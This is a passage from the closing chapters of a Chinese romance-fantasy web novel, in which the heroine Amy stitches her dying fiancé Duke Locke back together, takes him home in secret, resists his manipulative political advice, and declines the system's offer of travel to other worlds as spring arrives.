这支舞就在这种奇怪的氛围中跳完了,艾米本以为他们会聊一些走心的话题,然后自己再流几滴眼泪。但实际上她一直在担心扯掉洛克的胳膊然后给自己造成二十年的阴影,所以全程都很紧张,根本来不及悲伤和惆怅。 音乐结束后,洛克看起来比她刚进门时更疲倦了,苍白泛青的脸颊仍然呈现棱角分明的坚硬,但无论是艾米,还是洛克自己,都知道他的生命正如燃尽的烛火,只剩下最后一点斑驳的蜡迹。 “很感谢你来看我。”洛克的声音很轻,“如果可以的话,请让我一个人待会吗?” 他努力地笑了笑:“剩下的事情交给科林吧,我希望下次出现在你面前,是躺在漂亮的棺材里,四肢牢牢地固定在身体上,脸色也比现在更好些虽然我一直不愿意承认,但实际上,上了年纪的男人还是对外表有些这方面的压力,你应该能理解吧?” 艾米没有说话,她在跳完舞后就在对着虚空发呆。 洛克歪头,喊了她的名字:“艾米?” 艾米伸出手掌,像是在制止他说话,又像是在抚摸什么看不见的东西。 屏幕上出现了第一张,也是唯一一张洛克的约会卡。 卡面上,自己戴着王冠,穿着深紫色、裙摆上镶嵌了无数闪耀的碎钻的漂亮的长裙,正捧着一个模样可爱、只有她手臂大小的布娃娃旋转。 可怜的娃娃,身上遍布伤痕,雪白的棉花外翻,只有那张笑眯眯的脸一看便是公爵大人的**人形象。 【诅咒余痕】 公主和洋娃娃跳舞,跳呀跳呀,一二一。这是公主最喜欢的布娃娃,所以善良的公主会亲手缝补好它。 品质:S 技能:为你的娃娃缝补好身体吧,普通的针线在你的手里也会拥有爱的魔力。 使用次数:1次。 艾米看了看卡片的技能介绍,又看了看面前的洛克。 “我想,我是应该喊科林过来处理剩下的事” 她说话的声音开始断断续续地哽咽,碎钻似的泪水在眼眶里打转。 洛克的心脏漏了半拍。 那是比他收藏的所有宝石都美丽的眼睛,是不需要华贵的匣子和垫布作为配角陪衬、即使在这样破烂的环境里也熠熠生辉的珍宝。 他想吻一吻她的眼睛,吻一吻这为他而落的泪水。 “你听到了吗?” 洛克走神了,他没有听到艾米说了什么。 “我刚才在问你,关于你的葬礼,你还要继续如期举行吗?” 艾米再次重复了一遍- 葬礼当然如期举行了。 对此,洛克的解释是艾米已经完成了传承仪式,所以自己也没办法恢复如初,所以最好还是按照之前既定的安排推进下去。 “我觉得这样很好。” 说这话时洛克正趴在床上,半裸着,等艾米继续为他缝补后心口破烂的皮肉。 “我觉得不好!” 艾米手上不自觉地用力,扯着线穿过针脚,引得床上的男人闷哼一声。 看到洛克后背的肌肉因为吃痛而收缩,她心虚地放轻了手上的动作,然后继续用强硬的语气坚持自己的态度:“我不要一直待在这里,我要回家。” 洛克觉得奇怪:“我应该从头到尾都没有阻拦你吧?” 他把头靠在大臂上,侧过下巴看向艾米,漂亮的三角肌随着动作收紧,扯到了线头。 “不要乱动!”艾米拍了拍他的背肌,硬邦邦的。 “还有,不要偷偷用力!”她紧接着继续戳穿公爵大人暗中的开屏:“你这样我的针扎不进去的!” 洛克只好乖乖把脑袋重新放好,下巴搭在小臂交握形成的凹陷内,这个姿势会挡住他的嘴巴,说话时声音有些闷闷的。 “你想好要怎么解释我的存在了吗?”他冷不丁地问。 艾米发现自从公爵大人濒死了一回后,她就有点跟不上他的脑回路。 “解释什么?” “解释本该葬在哈卡兹墓地里的我,为什么又出现在你的身边。” 艾米手上动作一滞,她确实没想过,因为她觉得洛克应该会留在这里。 见艾米犹豫,公爵大人便什么都懂了。 他不顾针线还穿在他的后背上,立刻侧过身,一把攥住对方还悬在半空中的手腕。 “所以你根本没想过要带我走是不是?你说的回家,是自己离开,然后把我丢在这里是不是?” 艾米感觉自己就像个负心汉忽然被抓了个现行,我不是我没有地说了半天,也没说出个一二三四来。 洛克则一直用那种我看你还要怎么编的表情似笑非笑地看着她。 直到艾米灵机一动想出了好主意。 “我会说我因为过于思念未婚夫所以找了个他的替身养在身边怎么样?” 这个借口不算太奇怪,因为洛克现在瞳孔的颜色变回了黑色,整个人的气质也变得温顺了许多——再说,对于艾米这种不喜爱社交的偏僻之地小领主外,身边多了个人也并不是什么需要严谨的谎言才能瞒住的事情。 公爵大人对这个回答很满意,不知道他是满意“思念未婚夫”这个原因还是满意“养在身边”这个结果,总之他重新趴好,语气也温柔了起来:“布佛里托的事情你不用担心,我会安排好的你只需要开开心心在家收税金就好。” 奇怪,为什么忽然产生自己是个包租婆的感觉?- 离开之前,艾米把洛克身上的大伤 口都缝好了,还剩些小的,她打算回去慢慢处理,顺便再将之前脱落的针脚缝密一点。 北境的冬天十分漫长,很需要点消遣打发时间。艾米之前不喜欢这种针线活,但缝了那么两三天,也察觉出了一点趣味性。 “针扎进你的皮肤的时候,其实蛮解压的。”返程的马车上,艾米因为无聊随口说道。 罗莎听到这话立刻打了个激灵。她感觉小姐跟来之前有点不一样了,不说别的,气质上就出现了很大的改变。果然南境不能多待,她严重怀疑,如果小姐再多待一段时间,说不定就开始对黑魔法和献祭术感兴趣了。 洛克合上手中的书,他抬起头,语气温柔:“那我很高兴能成为你的解压玩具,你考虑过用金丝来缝吗?你知道的,我有对便宜东西过敏的毛病。” 公爵大人也完全不一样了,他现在对小姐简直言听计从,瞧瞧,就算是小姐随口开启的话题,他也会郑重地合上书,看着她的眼睛,认真地回应,简直像见了鬼一样。 罗莎看了看裹得严严实实只露出脸的洛克,不由自主地开始脑补某些传闻中的黑魔法,比如能驱使尸体和死人为自己所用的死灵法术。 一想到公爵大人可能已经是具尸体,半精灵就忍不住缓缓挪动屁股,缓缓地往小姐身边靠——她真的很担心自己身上沾上死人味。 距离托利亚越来越近,艾米的心情也越来越好。 出门前她还在为可能的战争而心绪不宁,结果回家的时候不仅问题解决了,还带了意外之喜移动的金矿回家。洛克看到她撩起马车的布帘,雄赳赳的得意模样像是刚打猎回来的母狮子。 第不知道多少次撩起布帘后,艾米终于远远地望见失去了花瓣装饰的圆形拱门和收到信件后守在路口的雷尔夫。就在她想探出脑袋用力和他打招呼的时候,先一步想起了在布佛里托时洛克曾问她的问题。 “你想好要怎么解释我的存在了吗?” 艾米忽然恍然大悟。 原来这个问题的关键从来不是“解释什么”,而是“对谁解释。” 她坐回马车里,躲闪的目光直直地撞进洛克英俊含笑的视线之中。 糟糕。 她要怎么对家里的小狗解释,自己又捡了条新的受伤小狗回来? 第115章 第115章而公爵大人的可恶当然…… 雷尔夫很有教养,但洛克不是。 所以直到艾米赶他走,公爵大人才贵人多忘事地想起自己还有一座专门为度假修建的庄园。 “我没有带惯用的仆人。” “我相信领主府的很多人都愿意为您服务。” 大方又有钱的老板,傻子才不想。 “半年没人住了,一定很多灰尘。” “在收到小姐的信后,古德先生就已经提前为您打扫干净了。” “但以我现在的身份”洛克没有理会雷尔夫,他的目光精准地逮捕住装死躲闪的艾米,慢悠悠地说道:“以我现在的身份,就这么住进您尸骨未寒的‘未婚夫’的宅子里,是不是有点不太合适呢?” 这么说来确实是。 艾米犹豫了。毕竟公爵大人现在明面上是个死人,最好还是将他藏严实一点。 而机会主义者就是会抓住一切机会顺杆子往上爬。看到艾米的脸上出现松动的迹象,洛克紧接着立刻提出更具体的要求。 “出于保密的考虑,我不介意住在你卧室的套间里。这样后续伤口的处理也更方便些,是不是?” “当然不是!” 艾米忙不迭地摇头阻止,她还没至于听不出洛克的小心思。 “既然要将您藏起来,当然还是住在阁楼更好啦。” 雷尔夫生硬的笑容在听到这句话后都变得自然了许多。 “我会告知古德先生您的安排。”他立刻接上。 艾米笑眯眯地继续说:“顺便一提,这栋城堡的阁楼一年前还在漏雨,还是用公爵大人您的金币修好的呢。” 于是事情就这么安排下去了。 直到当天晚上,巡视完领地的领主大人才猛然想起——等等,她一开始好像没准备让洛克住进来的吧?事情是怎么变成现在这样子的? 而公爵大人的可恶不止这些。 在接下来的一段时间里,艾米会每天抽出一点空,帮洛克的身体缝缝补补。 那些针脚两三天后就和皮肤融为了一体,手指摸上去也没有凹凸不平的触感,看起来就像细细密密的拉链形状纹身。在忙碌的脑力工作之后,做一点不怎么需要思考的针线活确实很解压,艾米也常趁这段时间就一些自己觉得棘手的问题拿来询问洛克的意见。 这天,他们谈起北境最近的局势,平日里侃侃而谈的洛克却显得沉默寡言。 事出反常必有妖,有好几次被他牵着鼻子走的前车之鉴,艾米打定主意按下好奇心,一句话也不会多问。 直到缝补结束,洛克半裸着起来开始穿衣服,对着镜子慢条斯理地理着袖口,漂亮的腹肌晃了半天也没有扣上扣子的意思,十分令人分神。 在他第三次透过镜子欲言又止地望过来后,艾米还是忍不住了:“你到底有什么话想说?” 洛克好像终于理清衬衫的穿法,他垂下眼睛,慢吞吞地说:“我知道,因为之前的很多事,我在你那儿的分数并不高所以很多时候,我尽量努力不让那个数字更糟。” “但既然你就北境的局势询问我,我还是觉得对你来说,应当考虑考虑我的建议。” 艾米示意他继续说下去。 “雷尔夫是纳维公爵的儿子,当然,我知道他只是个私生子,在继承权上没什么优势。但托迪克特的福,纳维那些有继承权的儿子已经死了个干净,除了贝丝还没怀上的孩子,剩下的论起资格,也没什么差别。” “他对你很忠诚,我想我们对这点应当都没什么异议。同时以他的能力来说,如果卷进这场游戏里,大概率是能活到最后的人选。” 洛克穿好了上衣,他转过身,眸色沉沉,看起来非常诚恳。 “我承认这个建议多少带了点私心,我看他不顺眼,想把他从你身边支走。” “但我同样认为,这对你来说是个不错的选择,你可以好好想想,尽快决定。这是个很好的机会,你应该知道,好机会从不停留。” 艾米确实好好想了想,并且越想越心头火热,连着几天看着雷尔夫出神。 洛克的建议听起来是没有任何危害、还成功率极高的事情,她几乎无法反驳,甚至一时间都想不出有什么不去做的理由。 托利亚下了冬天的第一场雪,街道比往日更安静,艾米踩在薄薄积雪的石子路上,看到教堂前的广场有人在排队。 是米迦尔在给信徒进行简单驱寒和疗愈,降温后很多人都生了病,因此神官大人将这个圣殿例行的冬日活动提前了。 艾米在内室等他,喝完了两杯热茶,米迦尔才带着周身的寒意进来。 神官大人很少用法术为自己消除不适和疼痛,但因为担心冷到艾米,他还是在坐下前略微处理了一下自己外袍上凝结的霜花。 两人隔着桌子坐着,旁边炉火持续燃着,咕噜噜加热着茶水,袅袅的蒸汽散在空中,给两人的脸上都蒙上了一层柔和的滤镜。 艾米看到米迦尔弯起眼角轻轻地笑了笑。 她好奇:“我脸上有东西?” “不。”米迦尔摇摇头:“我只是觉得自己之前的一些念头十分愚蠢,因此觉得好笑而已。” 多么好读懂的表情,为领地的事情困惑、烦恼的样子,和为某个男人纠结的样子完全不一样。 而自己到底是为什么会混淆这一切? 因为他确实是这么期待的吗? 期待她因为自己而苦恼,期待她将所有的注意力都放在自己身上吗? “是有什么新的烦恼吗?”米迦尔将自己不值一提的感触搁置一旁,收敛思绪主动询问。 艾米睁大眼睛:“你怎么知道?” “这是我工作的一部分,我对这种表情十分熟悉。”他温和地微笑,“很高兴你愿意来找我倾诉烦恼,我说过,这是专属于你的告解室。” 因此艾米将最近缠绕她的念头告诉了米迦尔。 “不,这件事并不是如你所说的‘想不出不去做的理由’,恰恰相反,你并不喜欢洛克的建议,你十分抵触它。” 无论是解梦还是解惑,神官大人在做心灵马杀鸡领域都得心应手,他几乎是一针见血就直指问题的关键。 “你会为此感到困惑和烦恼,这就是你心底的声音 ,因为你有诸多顾虑,才迟迟无法下决定。” 米迦尔边说边为艾米倒上新的,热腾腾的茶水。 “你并不想让雷尔夫陷入这样的陷境中,你觉得这等同于一种抛弃。” 是。 艾米低头浅啜一口,垂下眼睛,躲开他的视线,作为不知道该说什么的回应。 米迦尔没在意艾米的这种逃避,他反而体贴地将话题往后回收了收。 “你小时候跟克莱恩先生去狩猎过吗?” 艾米看着他用力点头。自然,狩猎是所有北境人最喜欢的活动。 “那你应该知道,依从性最高的猎犬往往是死得最快的。”米迦尔温和的神情在白色的水汽中影影绰绰,“这是你顾虑的原因之一。” 没错。 作为天资聪慧的私生子被接回黑岩堡培养后,雷尔夫一直是被作为剑来培养的——而不是继承人。 继承人的游戏规则完全不同,想成为佼佼者,得有洛克那种不择手段往上爬的心气,而雷尔夫并不擅长,陷进这场游戏里,他只会痛苦, 艾米一直沉默,但她的想法浅显易懂地浮在脸上。 “要听听我的意见吗?”米迦尔问。 “当然。”艾米连连点头,她正是为此事来的。 “考虑该不该做一件事之前,不应该只看你会从中获得什么,而是应当先想明白你现在需要的是什么。”见她并没有听得很明白,米迦尔继续解释:“只有当你需要金币的时候,金币才有价值,但如果你现在不需要,那它的价值对你来说比不上一个聪明能干的女仆——顺便一提,你让我多关注的那位叫贝蒂的姑娘,她在算术课上表现得很好,但交上来的拼写作业却总是错误百出,不过看在她努力的态度上,我放低了对她的要求。” “说回你的困惑。我无法替你回答这个问题,你需要什么是你要自己做决定的事。我只是想提醒你,当初洛克要将整个王国送给你却被你拒绝的时候,你是基于什么原因做出的决定呢?” “以我这个旁观者来看,这两者的诱饵类似。” 艾米终于醍醐灌顶。 将雷尔夫扶植成北境的领主,和洛克允诺她成为王国的继承人,似乎并没有本质的区别,泥巴湾新的货轮码头都还没修完,追逐虚无的王座并不是她想要的奖励。 可恶,又被洛克牵着鼻子走了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第116章(正文完) 第116章 正文完春天来了(内含超长作…… 洛克十分善用欲望来操纵别人,狩猎未婚妻时也不例外。他一直试图用欲望滋养艾米,让她在贪婪中撑大胃口,进而再也离不开他。 之前如此,现在也是如此,唯一的差别是当他意识到那些金币和珠宝对未婚妻来说没有吸引力后,就迅速换了新的饵料——不得不说,当艾米意识到这点后,还是有点后背发凉的感觉。 但这件事情提醒她了。 对于继承者来说,卷进权力的争斗中从来没有“做没做好准备”一说,机会来临的时候能不能抓住才更重要。 也许就像洛克在等待死亡时说的一样,她应当学会怎么主动地参与进领主的游戏中,而不是被动地等待局势的变化。 于是艾米带着这样的念头再次找到了洛克。 公爵大人对她没接纳自己建议的结果很是遗憾,但在此之前,艾米先发了一通脾气。 “如果再有下次,你就滚回南境吧。” 洛克被不由分说地骂了一顿后不仅没有生气,反而心情更好了,含笑的语气就像是为艾米戳穿自己心思的行为感到骄傲一样。 “我应该说幸好我还有点用,让你下不了这个决定,是吗?” 艾米只能绝望地接受面前的男人是她扇一巴掌过去也只会捉住她的手腕夸她有力气的那类型。 更无法反驳的是,她确实需要他。 “那么,说回你的想法。”书房里,洛克漫不经心地走到艾米悬挂着地图的架子旁,轻松地好像在问她喜欢哪个口味的派。 “看中哪块地方了?” 艾米圈出了尤利西斯和弗斯特的领地。布利斯提供了魔兽山脉附近铁矿石的线索后,她派人前去探查,最后找到的那处铁矿恰在这二人的领地交界处。 洛克意味深长地看了她一眼。 “底下有东西?” 艾米反问:“你怎么知道的?”她正在努力学习洛克的思考方式。 “否则我想不到其他你会对这里感兴趣的理由。尤利西斯的领地是整个北境罕见的平坦地带,很肥沃,粮食充足,如果是一年前你应当很眼馋,但对于现在的你来说,这已经不具备吸引力,相反,平坦的地形意味着你需要更多的士兵才能守住这块地方;弗斯特的领地虽然没什么问题,但他的舅舅库利伯爵的领地也在附近,你想要他的土地,面对的可不单单只有他一个人。” “相比之下,如果没有必要的、不得不的理由,我会建议你从海边开始扩张。” 艾米斩钉截铁地说:“我就要这两块地方。” “遵命。”洛克眯起了眼睛,声音非常愉悦:“那就让我为您献上这二人的忠诚吧,领主大人。”- 北境最冷的月份里,所有的工坊和矿区都停工了,艾米也变得无所事事起来,只有黛碧女士忙碌异常。 她的职责近似家养小猫,当主人全天候在家的时候,就是她工作最辛苦的时候。 为了给艾米解闷,黛碧女士筹划着新的宴会。 “小姐,你应当知道,这是北境贵族每年冬天最重要的事情。” 在永夜城,贵族们会在城堡里永无止境地跳舞、喝酒——但今年不好说,恐怕很多人要在冰冷的宅子里裹上厚厚的毛毯取暖,没法像之前那样穿着裸着肩膀的裙子和单薄的衬衫跳舞。没了黑曜石可用,他们要吃苦头了。 对于平民来说,这个冬天和以往的没什么差别。只是,越来越多的人听说了托利亚这个地方,据说那里的土地随便种点什么都能收获大量的粮食,随便找点活就能养活自己,还有便宜的煤炭,整个冬天都能暖烘烘的这个传闻就像冬日里的火柴散着微弱的光,在冰冷的睡梦中投射下尚有一丝盼头的甜蜜,很多人计划着等到开春后过去看看情况。 那些入冬前搬过来的人们全都庆幸自己做了正确的选择。因为这是个罕见地不需要为粮食和燃料而发愁的冬天,所有人都像拥有了一个天然的假期一样快乐。酒馆营业到深夜,广场有孩子在打雪仗,而学校里,无论是成年班还是儿童班,都坐了满满当当想要来学识字和算数的人。 大多数时候,艾米足不出户,用整个下午来看书。亚兰是很好的盆栽观赏植物,只需要一点阳光空气和下午茶水,就能在书房里一句话也不说地坐着,艾米是不是会手贱地拨弄一下他,然后看他像含羞草一样收起叶片。 偶尔艾米也会打着实践的名号强制带他去参观工坊,那种日子两个人就要起得很早,早到天还是黑的,街道静悄悄地只能听到靴子踩在雪地上的声音。他们穿过小镇,走过冻得结结实实的河面,可怜的值班工人会睁着睡眼惺忪的眼来开门,然后艾米会看到他们下一秒会因为看到领主大人亲临而一个激灵变得亢奋无比。 唯一还在上班的是护卫队和民兵队,就算艾米带着亚兰清早避开人群出门,也会在近郊遇到正在训练的士兵队伍。 雷尔夫自然也在。 即使是冬天,他穿得也并不多,简单的亚麻衬衫和羊毛衣,领口的扣子还敞着。连他的马都换了驯鹿皮的鞍垫,而他自己,训练时连件斗篷都不披。 相较于冬天之前,士兵训练的频率愈发频繁。尽管雷尔夫并没有向下面的人透露原因,但大家都能感受到自己正在为即将可能的战役做准备。这是平民唯一有可能突破阶层成为骑士和大人物的机会,加上领主大人长久以来慷慨大方的做派,被编进队伍的士兵摩拳擦掌,战意昂扬,几乎是迫不及待等待指令下达的那天到来。 布利斯在王城郊外自己的庄园里度过这个冬天。他发明了一种新的通讯卷轴,不再是一次性的,使用后能随时交谈持续一整天。 艾米常用这个和他聊天。她提醒布利斯按照契约还要替她完成两件事,其中一件她已经想好了,泥巴湾的海岸沿线太浅,无法让更大的船只靠岸,想扩充码头,必须要极深的水位,思来想去,只有大魔导师有这个能力解决。 布利斯没想到这是艾米用通讯卷轴说的第一句话,恼火地一整天没回复,害的艾米以为这卷轴出了什么问题,怎么还是和原来的一样,只能一次性地传输信息。 五个人的好 感度都到了一百,除了加成固定下来不会变动后,那枚不知道用来做什么的碎片也拼凑出了一个完整的五角星形象。 艾米好奇这东西的作用。 “这就是能用来叩开时空的钥匙。”系统这么说,“也是我留给你的礼物。” 它完成了自己的任务,到了离开的时候。 “你想现在试试吗?它可以带你去到其他约会时空,比如你之前的世界。” 真是诱人的选项。 但艾米只是看了看,就将这枚五角星石块放进了抽屉里,语气还是一如既往的不近人情。 “谢谢了,不过暂时还不需要。”她有好多事要做,比约会卡更有意思、也更有意义的事情。 远处山坡的积雪明亮刺眼,但领主府新添加水暖管使得城堡外壁温暖干燥。庄园内,厨房的几个小伙子正在庭院内处理煤渣,莫里大婶的嗓门大到艾米在楼上都听得见,因为有人在搬运食材的时候压到了她种的番茄苗。 艾米走到窗边,她推开了半扇窗,感觉到风比前几天柔和了许多。 春天要来了。 (正文完)魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&